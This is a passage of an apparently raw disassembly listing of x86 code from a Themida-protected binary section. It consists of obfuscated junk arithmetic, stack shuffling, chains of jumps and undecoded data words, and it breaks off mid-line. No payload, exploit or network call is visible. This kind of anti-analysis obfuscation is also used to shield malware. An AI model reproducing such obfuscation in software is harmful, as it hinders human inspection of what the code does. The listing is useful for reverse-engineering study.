0FFFFC125h, 0FF55E8E9h, 48B66FFh dd 2586824h, 1C890000h, 56E38924h, 0D0BE9h, 0C8B6600h dd 0AE95324h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5404F7: ; CODE XREF: Themida_:0053BBFFj add edx, 0FA12EBCh and edx, 33790C1Bh jmp loc_53A51D ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFF75A6h, 683C77FFh, 458Ch, 50243489h dd 791CF0B8h, 58C68931h, 4247401h, 2434FF5Eh, 0E3895358h dd 4C381h, 51570000h, 4651C68h, 0E9C15969h, 0E9D18704h dd 0FFFFC655h ; --------------------------------------------------------------------------- loc_540548: ; CODE XREF: Themida_:005405F7j add esi, edx pop edx push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_53E3F1 ; --------------------------------------------------------------------------- loc_540562: ; CODE XREF: Themida_:00540C9Fj mov ebx, [esp] push edi mov edi, esp add edi, 4 push edx jmp loc_537F93 ; --------------------------------------------------------------------------- dd 0B951964Eh, 1BCB48C0h, 3A2BC181h, 0D9F724D4h, 0CB58C181h dd 0C8014E89h, 44B95159h, 811AF910h, 721615E1h, 0D1C18163h dd 81085B60h, 835347E9h, 0E9D1F75Dh, 0DA1h, 0E903EFC0h dd 1240h, 8304C483h, 0EC8104C4h, 4, 54241C89h, 4C3815Bh dd 0E9000000h, 0FFFFB8F6h, 2424D35Ch, 54E7E99Ch, 0E954FFFFh dd 0FFFF70C8h ; --------------------------------------------------------------------------- loc_5405E0: ; CODE XREF: Themida_:0053DA74j neg ebp add ebp, 2A5E29B6h add ebp, 2A35F490h add esi, ebp pop ebp push edx mov edx, 4 jmp loc_540548 ; --------------------------------------------------------------------------- dd 2DE9DD01h, 0B5FFFFCBh, 0E9EB8880h, 0FFFF6028h, 240C8B66h dd 0FFC470E9h db 0FFh ; --------------------------------------------------------------------------- loc_540615: ; CODE XREF: Themida_:0053B333j add esp, 4 rep movsd jmp loc_53821A ; --------------------------------------------------------------------------- aUfx db '(ãfX',0 db 0F3h dd 663CC380h, 0E950665Ah, 0FFFF884Fh, 4EC81h, 2C890000h dd 0EC04E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540642: ; CODE XREF: Themida_:00538A38j push ebp mov ebp, 680529ACh push 6645577Dh pop ebx xor ebx, ebp pop ebp shl ebx, 7 sub ebx, 203F687Ch add eax, ebx pop ebx xchg eax, [esp] jmp loc_53EBA9 ; --------------------------------------------------------------------------- loc_540665: ; CODE XREF: Themida_:0053E9FDj push ebp mov ebp, 4 mov ecx, ebp pop ebp jmp loc_541E23 ; --------------------------------------------------------------------------- loc_540673: ; CODE XREF: Themida_:0053DD69j add ebp, 0CDEF82CEh sub ecx, ebp jmp loc_539521 ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 8B243487h, 2AE92424h, 29FFFF54h dd 0D149E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54069E: ; CODE XREF: Themida_:0053DC77j add ebp, 43B52BF1h push esi mov esi, 77F3F078h jmp loc_539AEC ; --------------------------------------------------------------------------- loc_5406AF: ; CODE XREF: Themida_:005421ADj mov [esp], ebp push edi mov edi, 800h sub esp, 4 jmp loc_5408F3 ; --------------------------------------------------------------------------- loc_5406C3: ; CODE XREF: Themida_:00540A18j xchg esi, edi xchg edi, [esp] pop ecx push ebp push eax mov eax, 7DF56FB2h jmp loc_5422A3 ; --------------------------------------------------------------------------- loc_5406D5: ; CODE XREF: Themida_:0053986Ej mov eax, [esp] push eax jmp loc_540958 ; --------------------------------------------------------------------------- dw 8058h dd 0F30041F6h, 0E924148Bh, 0FFFFE8CCh, 552EEA81h, 3AE97223h dd 57FFFF77h, 791A6856h, 6BE94E5Dh, 89000012h, 9668240Ch dd 0E9122957h, 0FFFFAC57h ; --------------------------------------------------------------------------- loc_540710: ; CODE XREF: Themida_:0053DF17j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5417D8 ; --------------------------------------------------------------------------- align 10h dd 240C8BC8h, 6604C483h, 83241C8Bh, 0BDE902C4h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540733: ; CODE XREF: Themida_:005388EAj add ecx, 9AE7D633h and ebx, ecx mov ecx, [esp] add esp, 4 or ebx, ebx jmp loc_538788 ; --------------------------------------------------------------------------- loc_54074B: ; CODE XREF: Themida_:0053F986j mov ebx, [esp] add esp, 4 pop eax push ebx mov ebx, 147015F3h sub eax, ebx pop ebx push ecx push 1D4B60E8h jmp loc_536CE6 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h aUhj? db 'Uhj?',0 align 2 dw 8F54h dd 4832404h, 75E90424h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54077F: ; CODE XREF: Themida_:005411B2j mov esp, [esp] add esi, 4 add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_53920E ; --------------------------------------------------------------------------- dd 0B252CBFEh, 3E2C0E4h, 0C001CA80h, 0C28006E2h, 6BF280E8h dd 805AD328h, 0DBF67FCBh, 0FFCF47E9h, 5D5455FFh, 236668h dd 243C8900h, 4BFh, 31BE5600h, 0F724C248h, 6FF681DEh, 1AF3696h dd 0C5815EF5h, 694E6C49h, 0ED81FD01h, 694E6C49h, 21A0ED81h dd 3C8B740Bh, 4C48324h, 4C581h, 0E9550000h, 11A6h, 8868C280h dd 0D7345AD0h, 0FE14B151h, 8E9C0C1h, 0D2F180h, 240C8BCBh dd 81E18951h, 4C1h, 4C18100h, 87000000h, 21E9240Ch db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540833: ; CODE XREF: Themida_:005397C8j mov [esp], ebx mov ebx, esp push edi sub esp, 4 mov [esp], edx jmp loc_5402F2 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 4EE81h, 34870000h, 4895C24h, 76EB6824h dd 7EE928E4h, 0B9FFFFAEh, 4, 726FEB81h, 0C381376Ch, 23525403h dd 0FFC588E9h, 81D301FFh, 0CB3FD1EBh, 84E9520Dh, 29FFFFCDh dd 0BD555FF8h, 0D88F7C78h, 295DE831h, 0D90158C3h, 240C875Bh dd 2404205Ch, 5217E99Ch, 0E589FFFFh, 4C581h, 0BF570000h dd 60A24014h, 8959E94Fh, 0B151FFFFh, 0D7B5514Ch, 8008EDC0h dd 0CD8060C5h, 8EDC0C7h, 32B65266h, 5A66F530h, 3059EA88h dd 0C28059CAh, 80E2D001h, 1AE992CAh db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5408EB: ; CODE XREF: Themida_:0053F4AFj push ebx mov ebx, esp jmp loc_53847D ; --------------------------------------------------------------------------- loc_5408F3: ; CODE XREF: Themida_:005406BEj mov [esp], edi sub dword ptr [esp], 5AAC0B2Ch push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 add esp, 4 add ebp, 5AAC0B2Ch pop edi and eax, ebp jmp loc_538D34 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFF9AC1h, 0FF5194E9h db 0FFh ; --------------------------------------------------------------------------- loc_54092D: ; CODE XREF: Themida_:0053F93Fj push esi mov esi, 4B36599Fh mov ebx, esi pop esi shl ebx, 2 neg ebx xchg edi, ebx not edi xchg edi, ebx inc ebx inc ebx neg ebx add ebx, 31DEBB3Ah mov edi, ebx jmp loc_53E7DE ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF8F6Ch ; --------------------------------------------------------------------------- loc_540958: ; CODE XREF: Themida_:005406D9j mov eax, esp add eax, 4 push edi mov edi, 16D13C36h push edx mov edx, 292E2E69h push ebx mov ebx, 4A1808A9h and edx, ebx pop ebx push ebp push edi mov edi, 2DCD1B00h jmp loc_53F37A ; --------------------------------------------------------------------------- dd 7059C181h, 0CE01DCB9h, 81240C8Bh, 4C4h, 5DEB6800h, 0A6E90000h dd 0FFFFFFAFh, 835F2434h, 1AE904C4h, 81FFFF51h, 0CF109AE5h dd 0D2E95630h, 81FFFF54h, 4EFh, 9253E900h, 8147FFFFh, 0C7D96CEFh dd 5FF98901h, 5211E981h, 0E953556Fh, 0FFFF5B14h, 8B24048Fh dd 0D3662424h, 0E99C242Ch, 0FFFF50DDh, 7C7815Bh, 0C12B6268h dd 0E95507EFh, 0FFFFE4A1h ; --------------------------------------------------------------------------- loc_5409F4: ; CODE XREF: Themida_:00537A1Cj sub edx, 4 xchg edx, [esp] pop esp jmp loc_53CC16 ; --------------------------------------------------------------------------- db 28h dd 8B59E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540A0A: ; CODE XREF: Themida_:00541CC2j xor [esp+4], ebp pop ebp jmp loc_53DFFA ; --------------------------------------------------------------------------- loc_540A14: ; CODE XREF: Themida_:0053AE36j xchg esi, edi not esi jmp loc_5406C3 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 34FF2434h, 89535824h, 4ABA52E3h, 817C0D4Dh dd 977397C2h, 26CA8117h, 0C14AF80Ah, 0F28103EAh, 43725484h dd 0CDDCBB53h, 0DA31580Dh, 8BD3015Bh, 0EEE92414h, 35FFFF67h dd 960F81F4h, 194E9h, 0E9D12900h, 0FFFF8C35h ; --------------------------------------------------------------------------- loc_540A6C: ; CODE XREF: Themida_:0053DBACj xor ecx, 33F8753Ah jmp loc_53EDAE ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C18100h, 57000000h, 4BFh, 5FF90100h, 8B240C87h dd 45682424h, 8900004Eh, 0B2BD242Ch, 0C10D575Dh, 0D5F707E5h dd 4223C581h, 0E8291348h, 0AFBD555Dh, 0F7060026h, 21ED81DDh dd 0E99361B9h, 0FFFF9C6Ah, 0FAE9028Fh, 5CFFFF4Fh, 0FF4FF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_540ACD: ; CODE XREF: Themida_:0053DCB6j xor esi, 16EB4D19h add eax, esi pop esi push ebp jmp loc_53836D ; --------------------------------------------------------------------------- dd 0C4FEDCF6h, 0FE08E4C0h, 45C480C4h, 3058E588h, 0D08BE9ECh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540AF2: ; CODE XREF: Themida_:0053A028j mov [esp], edx push eax jmp loc_535C21 ; --------------------------------------------------------------------------- db 0FFh dd 50592434h, 405E089h, 83000000h, 48704E8h, 0A3E95C24h dd 49FFFFCEh, 0DB1CF181h, 0CF013427h, 4C78159h, 87000000h dd 0E95C243Ch, 0FFFFCBADh ; --------------------------------------------------------------------------- loc_540B2C: ; CODE XREF: Themida_:00542108j xor eax, 22880514h mov edx, eax push dword ptr [esp] pop eax jmp loc_53C6C6 ; --------------------------------------------------------------------------- dd 0B7535B66h, 54F653DFh, 0E95B0124h, 0FFFF6A17h, 241C8B54h dd 8904EC83h, 0E189240Ch, 0FFE3E5E9h, 4C483FFh, 81E38953h dd 4C3h, 4C38300h, 5C241C87h, 2474FF57h, 48F5F04h, 0C1E95C24h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540B7F: ; CODE XREF: Themida_:00541B77j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ecx push ebx jmp loc_53E2D4 ; --------------------------------------------------------------------------- loc_540BA4: ; CODE XREF: Themida_:0053B153j mov edi, 3D3015C8h jmp loc_541CB0 ; --------------------------------------------------------------------------- loc_540BAE: ; CODE XREF: Themida_:00540446j add ebp, esi jmp loc_53FEAD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 8C1DCEEBh, 68C2E916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540BC6: ; CODE XREF: Themida_:00538C6Cj push edi jmp loc_53EC02 ; --------------------------------------------------------------------------- loc_540BCC: ; CODE XREF: Themida_:0053F952j pop ebx mov ecx, 0C8F2E85Fh push ebp sub esp, 4 mov [esp], ecx jmp loc_53A89C ; --------------------------------------------------------------------------- loc_540BDE: ; CODE XREF: Themida_:00541B67j xchg edx, [esp] pop esp mov [esp], esi jmp loc_536CF9 ; --------------------------------------------------------------------------- dw 5155h dd 0DC3C68B9h, 59CD8920h, 0FFDDE5E9h, 8BC631FFh, 0C4832404h dd 81DEF704h, 0E03AB1E6h, 0CBA9E92Ah, 0E381FFFFh, 47D4739Eh dd 0FFFD39E9h, 4C381FFh, 0E9000000h, 0DDCh, 24048B66h dd 9BBE9h, 24148B00h, 81E28952h, 4C2h, 4C28300h, 0FFE846E9h dd 4ED6F7FFh, 0F681E6D1h, 0F5C4D831h, 0C15EF701h, 0B95106EFh dd 62E71493h, 534CE181h, 0E1C175B3h, 81D1F704h, 0ADCB57E9h dd 0E9CF01F8h, 0FFFFC3A5h, 84E9535Ah, 0C1FFFF9Ah, 0F18108E9h dd 27F035BEh, 0C8E9CF31h, 0FFFFFFD4h, 669D1C77h, 241CD359h dd 4E2BE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540C96: ; CODE XREF: Themida_:0053FC9Cj pop edi xor ebx, 3080h and ecx, ebx jmp loc_540562 ; --------------------------------------------------------------------------- dd 42474FFh, 0FFC848E9h db 0FFh ; --------------------------------------------------------------------------- loc_540CAD: ; CODE XREF: Themida_:00538DB6j dec ah xor ah, 39h sub bl, ah pop eax jmp loc_53A613 ; --------------------------------------------------------------------------- dw 5A66h dd 0B652505Bh, 0FED6F62Eh, 0D0DEF6C6h, 80D6F6EEh, 0F0880BEEh dd 0C20045Ah, 0E9D8F6D0h, 0FFFFA0AAh ; --------------------------------------------------------------------------- loc_540CDC: ; CODE XREF: Themida_:0054137Dj pop esi jmp loc_5390FD ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 0FF79BFE9h db 0FFh ; --------------------------------------------------------------------------- loc_540CED: ; CODE XREF: Themida_:00536555j push esi mov esi, 2606189Dh sub dword ptr [esp+4], 4C0D1BD9h sub [esp+4], esi add dword ptr [esp+4], 4C0D1BD9h pop esi pop ecx add ecx, 2606189Dh push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_54111E ; --------------------------------------------------------------------------- db 87h dd 0E4E9241Ch, 5B00000Fh, 0FFD5CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_540D31: ; CODE XREF: Themida_:0053EDAFj or ebx, ecx mov ecx, [esp] add esp, 4 shl ebx, 7 inc ebx jmp loc_53C0BF ; --------------------------------------------------------------------------- db 88h, 0FCh, 0E9h dd 0FFFFF266h, 1512C781h, 0CBE93866h, 0BDFFFFBBh, 2FF73A01h dd 2C8BE831h, 4C48324h, 0FF4D58E9h, 0E9F789FFh, 0FFFF6502h dd 0BE243489h, 4, 4247401h, 0E924348Bh, 0FFFFAA5Eh, 348B5456h dd 4C48324h, 4C681h, 52500000h, 2BAh, 0DFADE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540D9E: ; CODE XREF: Themida_:0053F543j mov edi, esp push ebx mov ebx, 4 sub edi, 221839BCh jmp loc_53B50D ; --------------------------------------------------------------------------- loc_540DB1: ; CODE XREF: Themida_:00535BF4j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_537B7C ; --------------------------------------------------------------------------- loc_540DBF: ; CODE XREF: Themida_:0053D9B1j sub dword ptr [esp], 234722C8h pop ecx jmp loc_53B32A ; --------------------------------------------------------------------------- dd 56243C89h, 2BEh, 0FF8FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540DDA: ; CODE XREF: Themida_:0053DDAFj push ebx not dword ptr [esp] pop ebx xchg ebx, esi push edi mov edi, 43307A82h add esi, 1B112CDEh add esi, edi sub esi, 1B112CDEh pop edi add edx, esi jmp loc_53E0EB ; --------------------------------------------------------------------------- db 81h, 0C3h, 0A0h dd 5026DE0Ah, 824863B8h, 4EA20D73h, 0D0F728FBh, 0FDE9D0F7h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540E17: ; CODE XREF: Themida_:00539B98j add ebp, 4 sub ebp, 4 jmp loc_53CA42 ; --------------------------------------------------------------------------- db 89h, 0EBh, 5Dh dd 0FFA843E9h db 0FFh ; --------------------------------------------------------------------------- loc_540E2D: ; CODE XREF: Themida_:00538C9Dj dec bl add bl, 0E6h xor bl, 5Fh jmp loc_53BDB5 ; --------------------------------------------------------------------------- dw 0C146h dd 0CE8105EEh, 77DA04BFh, 0FD3AC681h, 432DF6F7h, 0E902F00Fh dd 0FFFFD940h, 0AF045A66h, 0E9DDB353h, 0FFFF74FCh, 32E9CF01h dd 58FFFFBCh, 0FF5D94E9h, 5BDE29FFh, 4E01EE83h, 81D6F74Eh dd 7E87C0F6h, 0AC8BE9D7h, 0C481FFFFh, 4, 0E9241C87h, 0FFFF9144h dd 207F83ADh, 0F357E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540E9A: ; CODE XREF: Themida_:0053E3C0j pop esi pop ecx push ebx mov ebx, 6E6083h add esi, ebx pop ebx push esi mov esi, esp jmp loc_536F27 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0ACh dd 0C174F875h, 0E98106E1h, 6D5B0B20h, 8105E1C1h, 0F4B35C1h dd 31F18149h, 29F9B067h, 0FF5059C8h, 58042474h, 5C24048Fh dd 51241C89h, 7B225F68h, 0D1F75961h, 0C107E1C1h, 0D9E905E9h dd 81FFFF81h, 0EC79A6CEh, 33EE8175h, 462F2051h, 1B1EE81h dd 0C1E92B00h, 29FFFFC6h, 0D3015FFAh, 81FB015Ah, 4130BEBh dd 0B056E97Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_540F1A: ; CODE XREF: Themida_:00538310j xor edi, eax pop eax jmp loc_538F18 ; --------------------------------------------------------------------------- dw 0C0B9h dd 0E96F2F05h, 0FFFF85CFh ; --------------------------------------------------------------------------- loc_540F2C: ; CODE XREF: Themida_:00538C18j mov ecx, esp push esi mov esi, 674B2F08h xor esi, 89E5A2Ch sub esi, 26854B7Ah push eax mov eax, 22FD3D57h and esi, eax pop eax jmp loc_53CBD1 ; --------------------------------------------------------------------------- loc_540F4E: ; CODE XREF: Themida_:0053CFF0j pop ebx jmp loc_541546 ; --------------------------------------------------------------------------- dd 8102EDC1h, 0F52781CDh, 19F5815Bh, 8114A865h, 0F97B81EDh dd 5DEE2914h, 5EF5015Bh, 0FFD88FE9h, 5FFE89FFh, 348BF101h dd 6AE95124h, 50FFFF98h, 0E188FC88h, 5AD78858h, 0CF86C9FEh dd 2815EF80h, 0B3535BF8h, 91C38046h, 7ED16866h, 0FFACDBE9h dd 0E9F089FFh, 0FFFF96DBh, 8B241487h, 0CE92424h, 0BD000007h dd 40C5295Dh, 815DEB29h, 1EBh, 2FCB8100h, 812C693Ch, 69BE2BEBh dd 8BDF013Eh, 0C483241Ch, 243C8704h, 0FF74D7E9h, 5BDA01FFh dd 0E9241487h, 0FFFF8AE0h, 0E95EF101h, 0FFFFC3BEh, 88240C89h dd 8BEB88C5h, 78E9240Ch, 81FFFF68h, 4C4h, 7FE95F00h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54100F: ; CODE XREF: Themida_:00539767j sub esp, 4 mov [esp], edi jmp loc_53BBE7 ; --------------------------------------------------------------------------- loc_54101D: ; CODE XREF: Themida_:0053A4BDj push esi mov esi, 7D182006h push ebp mov ebp, 0F956BD3h and esi, ebp pop ebp shl esi, 7 add esi, 0E11E5C38h jmp loc_5393B6 ; --------------------------------------------------------------------------- dw 0BD55h dd 3D574E2Ah, 0FFACF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_541045: ; CODE XREF: Themida_:0053EA23j mov ebp, esp jmp loc_53A38D ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFFDF02h, 210BF57h, 0E95100FEh, 0FFFF7A65h dd 83241C8Bh, 0B95104C4h, 6A4143CCh, 59E9D9F7h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_541073: ; CODE XREF: Themida_:005402EDj sub ebx, 60702FD4h pop ecx and ecx, ebx pop ebx shr ecx, 0Bh push ebx xor dword ptr [esp], 5EDE01B1h mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 59E33F69h pop ebx push ecx push edi push 52C73582h pop edi xor edi, 1484729Eh neg edi add edi, 504291BCh mov ecx, edi pop edi and ecx, 749F1EF5h or ecx, 1A8578Ah shl ecx, 3 add ecx, 2D8D620Ah push eax mov eax, 1D6F30BBh not eax or eax, 43C2DA4h not eax not eax add eax, 7DBB4054h jmp loc_53919D ; --------------------------------------------------------------------------- align 4 dd 241C8BDDh, 0E904C483h, 0FFFFE076h ; --------------------------------------------------------------------------- loc_5410F0: ; CODE XREF: Themida_:00541741j mov eax, [esp] add esp, 4 sub ebp, 4 jmp loc_5422DB ; --------------------------------------------------------------------------- dw 8F66h dd 49BBE902h, 1C8BFFFFh, 4C48324h, 2BD55h, 0EF290000h dd 243C875Dh, 9CEDE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54111E: ; CODE XREF: Themida_:00540D1Ej push ebx push edi push ebp push 202D3458h pop ebp mov edi, ebp mov ebp, [esp] add esp, 4 push edi add dword ptr [esp], 747E1D20h jmp loc_5373F5 ; --------------------------------------------------------------------------- loc_54113C: ; CODE XREF: Themida_:0053887Fj dec ebp neg ebp dec ebp add ebp, 139B4BD8h jmp loc_53EAAC ; --------------------------------------------------------------------------- db 68h dd 2833135Ch, 81241C8Bh, 4C4h, 4DE38100h, 0C10D1D72h, 0C38107E3h dd 0ABBD9788h, 45E9D989h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54116F: ; CODE XREF: Themida_:0053B166j add esi, edx pop edx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] or eax, eax jnz loc_537795 mov edx, 10222495h shr edx, 2 dec edx push eax mov eax, 3F615245h dec eax push ebp mov ebp, 441A6AE2h jmp loc_53C9BE ; --------------------------------------------------------------------------- loc_5411A1: ; CODE XREF: Themida_:0053C822j push edx mov dl, 0BDh jmp loc_53D940 ; --------------------------------------------------------------------------- loc_5411A9: ; CODE XREF: Themida_:00537732j mov ecx, ebx pop ebx add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_54077F ; --------------------------------------------------------------------------- db 0F7h dd 68F181D9h, 1188010h, 240C8BCAh, 0E904C483h, 22Bh ; --------------------------------------------------------------------------- loc_5411CC: ; CODE XREF: Themida_:0053E531j push edx mov edx, 15620E41h shr edx, 3 add edx, 118EE6D7h add ecx, edx pop edx jmp loc_535BAE ; --------------------------------------------------------------------------- db 0B9h dd 55254D6Ch, 8159CE01h, 470543EEh, 0E9D6F773h, 0FFFF6273h dd 0C681E689h, 4, 8704EE83h, 248B2434h, 240C8924h, 8B7B1FB9h dd 0D9F1810Ch, 414DDA10h, 5125BD55h, 0ED8103E6h, 515764DBh dd 4504EDC1h, 8302ED81h, 0E931C9D7h, 0ECC1E95Dh, 0EC83FFFFh dd 24048904h, 5AD2BE56h, 0E9517BDCh, 0FFFFFF9Bh, 0B06EA6BDh dd 2EDC129h, 0FF7FD6E9h, 0D82966FFh, 0DEBB6653h, 0CB816616h dd 0E3E94913h, 52FFFF5Bh, 8C495568h, 24148B0Bh, 0FF634DE9h db 0FFh ; --------------------------------------------------------------------------- loc_541275: ; CODE XREF: Themida_:005376A3j sub ebp, 0FF74C17Fh and eax, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or edx, eax jmp loc_539188 ; --------------------------------------------------------------------------- db 66h dd 53240C8Bh, 241C8B54h, 5104C483h, 0FFAEFBE9h, 240483FFh dd 24048B04h, 5704C483h, 4BFh, 97B2D00h, 0F80128CBh, 0CB097B05h dd 0D685F28h, 8900003Bh, 0D6B9240Ch, 5178C939h, 592414F7h dd 0E903E9C1h, 0FD1h, 4C581h, 0C5830000h, 242C8704h, 86DDE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5412F2: ; CODE XREF: Themida_:00538CC9j and ecx, ebp pop ebp dec ecx shl ecx, 4 push edi mov edi, 25300290h xor ecx, edi pop edi and eax, ecx pop ecx sub esp, 4 mov [esp], ebx push eax mov eax, 1Ch jmp loc_539873 ; --------------------------------------------------------------------------- dw 895Ch dd 2B68241Ch, 8900005Fh, 4812424h, 424h, 241C8B00h, 0FF7E25E9h dd 60559FFh, 0E93D1567h, 0FFFFC5FDh, 505BFE88h, 0E1E95366h dd 5BFFFFB9h, 0FF77E6E9h, 0ABF181FFh, 31749748h, 0C30159C8h dd 7F696858h, 0C890000h, 2B924h, 0CB010000h, 241C3359h dd 0FF558EE9h db 0FFh ; --------------------------------------------------------------------------- loc_541371: ; CODE XREF: Themida_:0053C6B0j push 4336h mov [esp], esp add dword ptr [esp], 4 jmp loc_540CDC ; --------------------------------------------------------------------------- loc_541382: ; CODE XREF: Themida_:0053D344j pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_53F6E0 ; --------------------------------------------------------------------------- dw 8B66h dd 90E92414h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54139F: ; CODE XREF: Themida_:0053F6E3j add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebx pop esi push esi pop eax pop esi push 154Ch mov [esp], ebp mov ebp, 0FB0371Ah push edx jmp loc_53E11A ; --------------------------------------------------------------------------- dd 8B241433h, 89662424h, 0F66240Ch, 5166C8B6h, 4B52E99Ch dd 0E952FFFFh, 1CEh, 0E9240489h, 0FFFF69E6h, 5B91EA81h dd 0FDE92697h, 50FFFFC5h, 4FE9E089h, 29FFFF9Ah, 0EDEA81F2h dd 5E017002h, 2474FF52h, 48F5A04h, 24248B24h, 240C8966h dd 0C8B60F66h, 0E99C5166h, 0FFFF46A5h ; --------------------------------------------------------------------------- loc_54141C: ; CODE XREF: Themida_:0053C5C5j push 7BE2h mov [esp], edx mov edx, 51E793Dh or eax, edx jmp loc_53C55A ; --------------------------------------------------------------------------- dd 0C2815A54h, 4, 84BB5356h, 0BE588345h, 0A77CBA80h, 295BDE01h dd 24348BF2h, 0FF5A91E9h, 81D7F7FFh, 6564DBEFh, 5FFE019Ah dd 2474FF56h, 48F5E04h, 0CF86E924h, 348BFFFFh, 4C48124h dd 56000000h, 8904EC83h, 7FB82404h, 351DF303h, 1ABB09D8h dd 0FFFFBF57h, 0F829FFFFh, 0FF544CE9h, 0CFF66FFh, 26E99C24h dd 0FFFFFF46h, 0ACE92434h, 83000003h, 0E38104C4h, 6FB7439Ah dd 4E45BD55h, 0DDF765F7h, 23C7ED81h, 0EB29A2ABh, 5BD8895Dh dd 48BC201h, 4C48324h, 0FFB3EEE9h, 0FDC381FFh, 0E900EB68h dd 0FFFF8CD1h, 0E6C016B6h, 8A95E903h, 77FFFFFFh, 59669D1Ch dd 9C241CD2h, 0FF45D0E9h, 62C480FFh, 2858E130h, 2434FFC8h dd 0FEEDE959h, 8149FFFFh, 7F5E92E9h, 0E8E98140h, 0E942E93Ch dd 779h, 0C6DCE957h, 0E589FFFFh, 4C581h, 29E90000h, 59FFFF69h dd 0E901C083h, 0FFFFD28Ch, 802CB450h, 0EC8088F4h, 0E9E62045h dd 0FFFFF19Eh, 457BE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541546: ; CODE XREF: Themida_:00540F4Fj add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_539C89 ; --------------------------------------------------------------------------- dw 875Dh dd 565C241Ch, 982850BEh, 1FCE8157h, 815E0477h, 186892E6h dd 6F68167h, 0E9504B1Bh, 0FFFFE7A2h, 0CFE9D2B2h, 5FFFFF67h dd 0EA81DA01h, 119A6492h, 9D61E95Bh, 15DFFFFh, 0C4EBE9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541596: ; CODE XREF: Themida_:0053777Cj add esp, 4 push eax mov ah, 94h push ebx mov bl, 1Dh add bl, 13h jmp loc_53EBA2 ; --------------------------------------------------------------------------- dw 0BA66h dd 0F7665B0Eh, 0C28166DAh, 29665F58h, 1665AD1h, 2434FFC8h dd 0FF6CD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5415C5: ; CODE XREF: Themida_:0053B985j push ebp mov ebp, 79F05788h jmp loc_5362B2 ; --------------------------------------------------------------------------- dd 57D831ADh, 0D69C2BFh, 9D1CE915h, 4C68FFFFh, 0E91EB929h dd 0FFFF7B06h, 70A068h, 241C8900h, 0BD555B54h, 56CE1DD5h dd 0FFF3AAE9h, 44BFE9FFh, 0E801FFFFh, 0DBF575Dh, 810C962Ch dd 63322FC7h, 0F275E931h, 56B7FFFFh, 0FF53BAE9h, 1F8CBDFFh dd 0EB313A91h, 0F5E4E95Dh, 0BA52FFFFh, 20005h, 56E9D031h dd 0E9FFFFBCh, 0FFFF4485h, 5547CCBFh, 0B850571Fh, 0D9D0403h dd 4244401h, 0F7E95D58h, 81FFFF74h, 0F74767C7h, 0A3EF8174h dd 0E90B1A42h, 0FFFFDC32h ; --------------------------------------------------------------------------- loc_541664: ; CODE XREF: Themida_:00535B38j or eax, eax jz loc_53DA41 push 6D80h mov [esp], eax push ecx jmp loc_53963B ; --------------------------------------------------------------------------- dw 272Dh dd 2D35580Eh, 70B325FCh, 24E9C229h, 83FFFFA8h, 0EC8104C4h dd 4, 68243C89h, 68F0373Bh, 0F0BB535Fh, 4B39D827h, 0E3C1D3F7h dd 43D3F708h, 0B544B850h, 0C32962ECh, 5BD82958h, 34A9BA52h dd 6AE9234Ah, 0D3FFFF9Ah, 0E99C243Ch, 0FFFF43F5h, 0E983D9F7h dd 8848E9FFh, 